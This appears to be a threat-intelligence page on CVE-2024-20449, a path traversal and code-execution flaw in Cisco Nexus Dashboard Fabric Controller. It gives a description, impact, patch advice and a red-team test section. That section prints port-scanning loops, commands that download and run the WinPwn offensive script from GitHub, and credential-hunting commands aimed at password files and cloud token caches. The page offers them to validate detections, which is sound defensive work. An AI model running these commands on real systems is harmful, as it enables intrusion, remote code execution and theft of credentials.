CVE-2024-20449
Overview
This vulnerability is a path traversal flaw stemming from improper validation of file paths within the Cisco Nexus Dashboard Fabric Controller (NDFC). The affected component improperly sanitizes input used in Secure Copy Protocol (SCP) operations, allowing unauthorized directory navigation. This weakness resides in the handling of SCP file uploads, enabling manipulation of file system paths beyond intended boundaries.
Vulnerability Description
A vulnerability in Cisco Nexus Dashboard Fabric Controller (NDFC) could allow an authenticated, remote attacker with low privileges to execute arbitrary code on an affected device. This vulnerability is due to improper path validation. An attacker could exploit this vulnerability by using the Secure Copy Protocol (SCP) to upload malicious code to an affected device using path traversal techniques. A successful exploit could allow the attacker to execute arbitrary code in a specific container with the privileges of root.
Impact
An attacker with valid credentials and network access to the Cisco Nexus Dashboard Fabric Controller can execute arbitrary code with root privileges inside a container. This enables full control over the affected device’s fabric controller functions, potentially leading to unauthorized configuration changes, data compromise, or lateral movement within the data center network. The vulnerability requires low privilege authentication and no user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N), increasing the risk of exploitation in operational environments.
Solution
Cisco has released a security advisory (cisco-sa-ndfc-ptrce-BUSHLbp) addressing this issue in Cisco Nexus Dashboard Fabric Controller. Users should apply the vendor-supplied patches as detailed in the advisory to remediate the path traversal vulnerability. The advisory provides specific version updates and patch instructions; administrators are advised to follow these guidelines precisely to secure affected deployments.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Cisco Nexus Dashboard Fabric Controller (NDFC) arises from improper path validation, which can be exploited by an authenticated, remote attacker with low privileges. This flaw allows the attacker to leverage the Secure Copy Protocol (SCP) to upload malicious code to the device. By employing path traversal techniques, the attacker can manipulate file paths to bypass security controls and place their code in directories that are otherwise restricted. Once the malicious code is uploaded, it can be executed within a specific container, operating with root privileges. This escalates the risk, as the attacker gains significant control over the affected system, potentially compromising the integrity and confidentiality of the data managed by the NDFC.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with low-level access could initiate an SCP session to upload a crafted payload. By carefully constructing the file paths, the attacker can navigate through the directory structure and place the payload in a location that allows execution. This could be done in environments where the NDFC is deployed, such as data centers or cloud infrastructures, making it particularly concerning for organizations that rely on these systems for managing their network fabric. The ability to execute arbitrary code means that the attacker could deploy additional malware, exfiltrate sensitive information, or even disrupt services, leading to a cascade of operational issues.
The real-world impact of this vulnerability is significant, especially for organizations that depend on the Cisco Nexus Dashboard Fabric Controller for network management. The potential for unauthorized code execution poses a severe business risk, as it could lead to data breaches, service disruptions, and damage to the organization’s reputation. In a landscape where data integrity and availability are paramount, the exploitation of this flaw could result in financial losses, regulatory penalties, and a loss of customer trust. Furthermore, the ability to execute code with root privileges means that an attacker could create backdoors for future access, compounding the threat and making remediation efforts more complex.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the NDFC to the latest version provided by Cisco is crucial, as patches often address known vulnerabilities. Additionally, organizations should conduct routine security assessments and penetration testing to identify potential weaknesses in their systems. Employing intrusion detection systems (IDS) can help monitor for unusual activity associated with SCP sessions, alerting administrators to potential exploitation attempts. Furthermore, restricting SCP access to only those users who absolutely need it can reduce the attack surface, while implementing strict access controls and logging can aid in identifying and responding to suspicious behavior.
In conclusion, the vulnerability within the Cisco Nexus Dashboard Fabric Controller presents a serious threat to organizations utilizing this technology. The combination of improper path validation and the ability for low-privileged users to execute arbitrary code creates a pathway for significant security breaches. Organizations must remain vigilant, employing robust detection and mitigation strategies to safeguard their systems against potential exploitation. By prioritizing security best practices and maintaining awareness of emerging threats, organizations can better protect their critical infrastructure from the risks posed by such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-20449, indicating that attempts to exploit this vulnerability are becoming more frequent within monitored environments. Although the EPSS score remains relatively stable with a slight decrease, the sharp rise in telemetry suggests adversaries are increasingly probing or targeting affected Cisco Nexus Dashboard Fabric Controller instances. This uptick in activity underscores a growing interest from threat actors in leveraging improper path validation weaknesses to execute arbitrary code remotely, potentially enabling lateral movement or persistence within compromised networks. While no new exploit techniques or proof-of-concept code have surfaced, the increased exploitation attempts elevate the operational risk for organizations relying on this technology. Defenders should interpret this trend as a signal that the vulnerability is transitioning from theoretical risk toward active exploitation, thereby warranting heightened monitoring and prioritization in vulnerability management programs.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Nexus Dashboard Fabric Controller | All |
cpe:2.3:a:cisco:nexus_dashboard_fabric_controller:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20449 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ndfc-ptrce-BUSHLbp |